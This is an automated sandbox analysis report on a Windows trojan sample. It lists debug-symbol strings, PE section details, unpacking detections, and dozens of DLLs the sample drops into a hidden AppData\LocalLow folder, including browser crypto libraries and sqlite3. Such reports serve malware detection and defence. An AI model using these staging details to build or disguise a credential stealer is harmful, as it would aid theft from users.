Source:	Binary string: winhttp.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: msvcr100.i386.pdb" source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdbPt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: ncryptsslp.pdbK source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: msasn1.pdbl{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: ntasn1.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: upwntdll.pdb source: WerFault.exe, 00000006.00000003.337190250.000000000484E000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.352500645.0000000000DDB000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.372455582.0000000004F9C000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.389344848.00000000049DE000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.436092063.000000000551B000.00000004.00000001.sdmp
Source:	Binary string: msvcr100.i386.pdb! source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: gdiplus.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wmswsock.pdbZ source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\comm\ldap\c-sdk\libraries\libldap\ldap60.pdbUU source: ldap60.dll.2.dr
Source:	Binary string: wntdll.pdb( source: WerFault.exe, 00000006.00000003.336559037.00000000009AF000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.387887625.0000000000A3D000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.413748907.0000000000DEC000.00000004.00000001.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: dhcpcsvc6.pdb source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: fwpuclnt.pdb# source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000006.00000003.342505805.0000000004BD5000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356525915.0000000004A32000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377546761.00000000053D6000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393459283.0000000004DB6000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422301351.0000000002F76000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.450987054.0000000005AD6000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481443822.0000000005411000.00000004.00000001.sdmp, WerFault.exe, 00000026.00000003.516983611.00000000059B1000.00000004.00000001.sdmp
Source:	Binary string: dpapi.pdbrK> source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: dnsapi.pdbHK source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbm source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdb-)( source: WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdb% source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbW source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: z:\task_1552562425\build\src\obj-thunderbird\toolkit\library\dummydll\qipcap.pdb source: qipcap.dll.2.dr
Source:	Binary string: ncryptsslp.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdbJt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: webio.pdbx source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-crt-conio-l1-1-0.pdb source: api-ms-win-crt-conio-l1-1-0.dll.2.dr
Source:	Binary string: wmswsock.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-crt-math-l1-1-0.pdb source: api-ms-win-crt-math-l1-1-0.dll.2.dr
Source:	Binary string: webio.pdbk source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb` source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: msasn1.pdb\ source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbht source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbj source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: ws2_32.pdba source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: wUxTheme.pdb" source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000006.00000003.342501209.0000000004BD0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356583602.0000000004A30000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377530397.00000000053D0000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393530166.0000000004DB0000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422389368.0000000002F70000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451142915.0000000005AD0000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb~{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: webio.pdbI source: WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp
Source:	Binary string: bcrypt.pdbr source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: ktmw32.pdbbt source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdbg source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: fwpuclnt.pdb source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000006.00000003.342501209.0000000004BD0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356583602.0000000004A30000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377530397.00000000053D0000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393530166.0000000004DB0000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422389368.0000000002F70000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451142915.0000000005AD0000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: rasadhlp.pdbSs source: WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000006.00000003.342501209.0000000004BD0000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356583602.0000000004A30000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377530397.00000000053D0000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393530166.0000000004DB0000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422389368.0000000002F70000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451142915.0000000005AD0000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: api-ms-win-core-libraryloader-l1-1-0.pdb source: api-ms-win-core-libraryloader-l1-1-0.dll.2.dr
Source:	Binary string: fltLib.pdbV{ source: WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp
Source:	Binary string: msasn1.pdbO source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp
Source:	Binary string: winnsi.pdbZK& source: WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000006.00000003.342444831.0000000004C01000.00000004.00000001.sdmp, WerFault.exe, 00000009.00000003.356509570.0000000004891000.00000004.00000001.sdmp, WerFault.exe, 0000000B.00000003.377439713.0000000005261000.00000004.00000001.sdmp, WerFault.exe, 0000000F.00000003.393439066.0000000004CA1000.00000004.00000001.sdmp, WerFault.exe, 00000015.00000003.422252825.0000000004F91000.00000004.00000001.sdmp, WerFault.exe, 0000001B.00000003.447587013.00000000059B1000.00000004.00000001.sdmp, WerFault.exe, 00000022.00000003.481600057.00000000053E0000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.517105427.0000000005980000.00000004.00000040.sdmp
Source:	Binary string: powrprof.pdb\ source: WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb2 source: WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp
Source:	Binary string: crypt32.pdb source: WerFault.exe, 00000006.00000003.342473459.0000000004BD8000.00000004.00000040.sdmp, WerFault.exe, 00000009.00000003.356601334.0000000004A39000.00000004.00000040.sdmp, WerFault.exe, 0000000B.00000003.377481712.00000000053D9000.00000004.00000040.sdmp, WerFault.exe, 0000000F.00000003.393471888.0000000004DB9000.00000004.00000040.sdmp, WerFault.exe, 00000015.00000003.422427244.0000000002F79000.00000004.00000040.sdmp, WerFault.exe, 0000001B.00000003.451009623.0000000005AD9000.00000004.00000040.sdmp, WerFault.exe, 00000022.00000003.481336454.00000000053E8000.00000004.00000040.sdmp, WerFault.exe, 00000026.00000003.516879428.0000000005988000.00000004.00000040.sdmp

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Data Obfuscation:

Detected unpacking (changes PE section rights)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Unpacked PE file: 2.2.SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.yodoje:W;.kemafuy:W;.tls:W;.rsrc:R;.reloc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Show sources

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Unpacked PE file: 2.2.SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe.400000.0.unpack

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_0042495F GetVersionExW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,StrStrIW,lstrlenW,lstrlenW,FreeLibrary,

2_2_0042495F

Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Static PE information: section name: .yodoje
Source: SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	Static PE information: section name: .kemafuy
Source: sqlite3.dll.2.dr	Static PE information: section name: /4
Source: sqlite3.dll.2.dr	Static PE information: section name: /19
Source: sqlite3.dll.2.dr	Static PE information: section name: /31
Source: sqlite3.dll.2.dr	Static PE information: section name: /45
Source: sqlite3.dll.2.dr	Static PE information: section name: /57
Source: sqlite3.dll.2.dr	Static PE information: section name: /70
Source: sqlite3.dll.2.dr	Static PE information: section name: /81
Source: sqlite3.dll.2.dr	Static PE information: section name: /92

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe

Code function: 2_2_004400B4 push ecx; ret

2_2_004400C6

Source: initial sample

Static PE information: section name: .text entropy: 7.82132041146

Persistence and Installation Behavior:

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\IA2Marshal.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\nssckbi.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\nssdbm3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\ldif60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-private-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\lgpllibs.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\mozMapi32.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\prldap60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\MapiProxy_InUse.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\libEGL.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\AccessibleMarshal.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\ldap60.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\qipcap.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\breakpadinjector.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.GenericKDZ.73124.19170.exe	File created: C:\Users\user\AppData\LocalLow\eE8sF0yG2eQ6fT7\api-ms-win-crt-multibyte-l1-1-0.dll	Jump to dropped file
